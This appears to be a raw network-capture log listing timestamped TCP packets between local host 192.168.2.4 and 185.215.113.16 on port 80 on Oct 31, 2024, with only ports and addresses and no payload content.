Oct 31, 2024 23:38:10.241997004 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241998911 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.242007017 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.242017031 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.242027044 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.242031097 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.242041111 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.242048025 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.242049932 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.242058992 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.242063046 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.242069960 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.242080927 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.242085934 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.242090940 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.242100954 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.242109060 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.242110968 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.242120981 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.242121935 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.242130041 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.242139101 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.242145061 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.242162943 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.242182016 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.242186069 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.242192984 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.242201090 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.242213011 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.242218018 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.242222071 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.242238998 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.242242098 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.242249012 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.242259026 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.242264032 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.242270947 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.242280006 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.242280006 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.242291927 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.242305040 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.242325068 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.269968033 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.269979000 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.269988060 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.270112991 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.270112991 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.270212889 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.270221949 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.270231009 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.270262957 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.270277977 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.270327091 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.270335913 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.270375967 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.270687103 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.270729065 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.270729065 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.270739079 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.270765066 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.270775080 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.270838022 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.270873070 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.270874023 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.270883083 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.270916939 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.270970106 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.270978928 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.270988941 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.270998955 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271018028 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.271042109 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271043062 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.271056890 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271065950 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271069050 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.271075964 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271085978 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271086931 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.271109104 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.271115065 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271127939 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271133900 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.271147013 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.271172047 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.271225929 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271235943 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271244049 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271264076 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.271281958 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.271378040 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271387100 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271419048 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.271445990 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271456003 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271480083 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.271505117 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.271534920 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271544933 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271554947 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271569014 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271580935 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.271603107 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.271666050 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271677017 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271684885 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271697998 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271708012 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271716118 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271719933 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.271724939 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271734953 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271740913 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.271749973 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271759987 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.271759987 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271774054 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.271799088 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.271899939 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271909952 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.271939993 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.272183895 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272192955 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272202015 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272229910 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.272233963 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272238016 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.272244930 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272253990 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272272110 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.272295952 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.272320986 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272331953 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272341967 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272351027 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272361040 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272366047 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.272389889 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.272396088 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272396088 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.272406101 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272414923 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272423983 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272434950 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272435904 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.272459984 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272460938 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.272469044 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.272469997 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272479057 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272499084 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.272516966 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.272732973 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272742987 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272752047 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272775888 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.272800922 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.272804976 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272814035 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272824049 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272838116 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.272845030 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.272859097 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.272883892 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.272989988 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.273000002 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.273036003 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.273051023 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.273061037 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.273087978 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.273097992 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.273123026 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.273133993 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.273143053 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.273154020 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.273163080 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.273168087 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.273186922 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.273201942 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.273298025 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.273308039 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.273317099 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.273325920 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.273339987 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.273341894 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.273364067 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.273397923 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.273828983 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.273863077 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.273873091 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.273873091 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.273900032 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.273909092 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.273935080 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.273945093 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.273953915 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.273986101 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.273993015 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.274002075 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.274012089 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.274022102 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.274054050 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.274063110 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.274085045 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.274096012 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.274105072 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.274116993 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.274127007 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.274137020 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.274158001 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.274373055 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.274382114 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.274390936 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.274396896 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.274411917 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.274421930 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.274425983 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.274430037 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.274441957 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.274465084 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.275300026 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.275309086 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.275321007 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.275337934 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.275343895 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.275347948 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.275357008 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.275367022 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.275373936 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.275388002 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.275397062 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.275547028 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.275557041 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.275588989 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.275649071 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.275657892 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.275666952 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.275676966 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.275685072 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.275686026 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.275700092 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.275708914 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.275713921 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.275736094 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.275736094 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.275743961 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.275747061 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.275760889 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.275769949 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.275770903 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.275779009 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.275784016 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.275789022 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.275799036 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.275803089 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.275810003 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.275824070 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.275827885 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.275846958 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.275854111 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.275998116 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.276007891 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.276015997 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.276030064 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.276036978 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.276040077 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.276048899 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.276050091 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.276061058 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.276070118 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.276073933 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.276083946 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.276092052 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.276093006 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.276104927 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.276113033 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.276114941 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.276124954 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.276134968 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.276134968 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.276144981 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.276145935 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.276154041 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.276165009 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.276169062 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.276175022 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.276176929 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.276206017 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.276226997 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.276355028 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.276370049 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.276377916 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.276387930 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.276397943 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.276405096 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.276406050 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.276406050 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.276463985 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.277025938 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277035952 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277045012 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277075052 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.277084112 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.277092934 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277102947 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277112007 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277124882 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277144909 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.277168036 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.277177095 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277187109 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277196884 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277206898 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277235031 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.277245045 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.277314901 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277326107 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277333975 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277343988 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277354002 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277357101 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.277363062 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.277364969 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277374983 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277393103 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.277403116 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.277518988 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277529001 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277538061 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277549028 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277556896 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.277559042 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277571917 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277581930 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277581930 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.277594090 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277632952 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.277688980 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277698994 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277707100 CET	80	49806	185.215.113.16	192.168.2.4
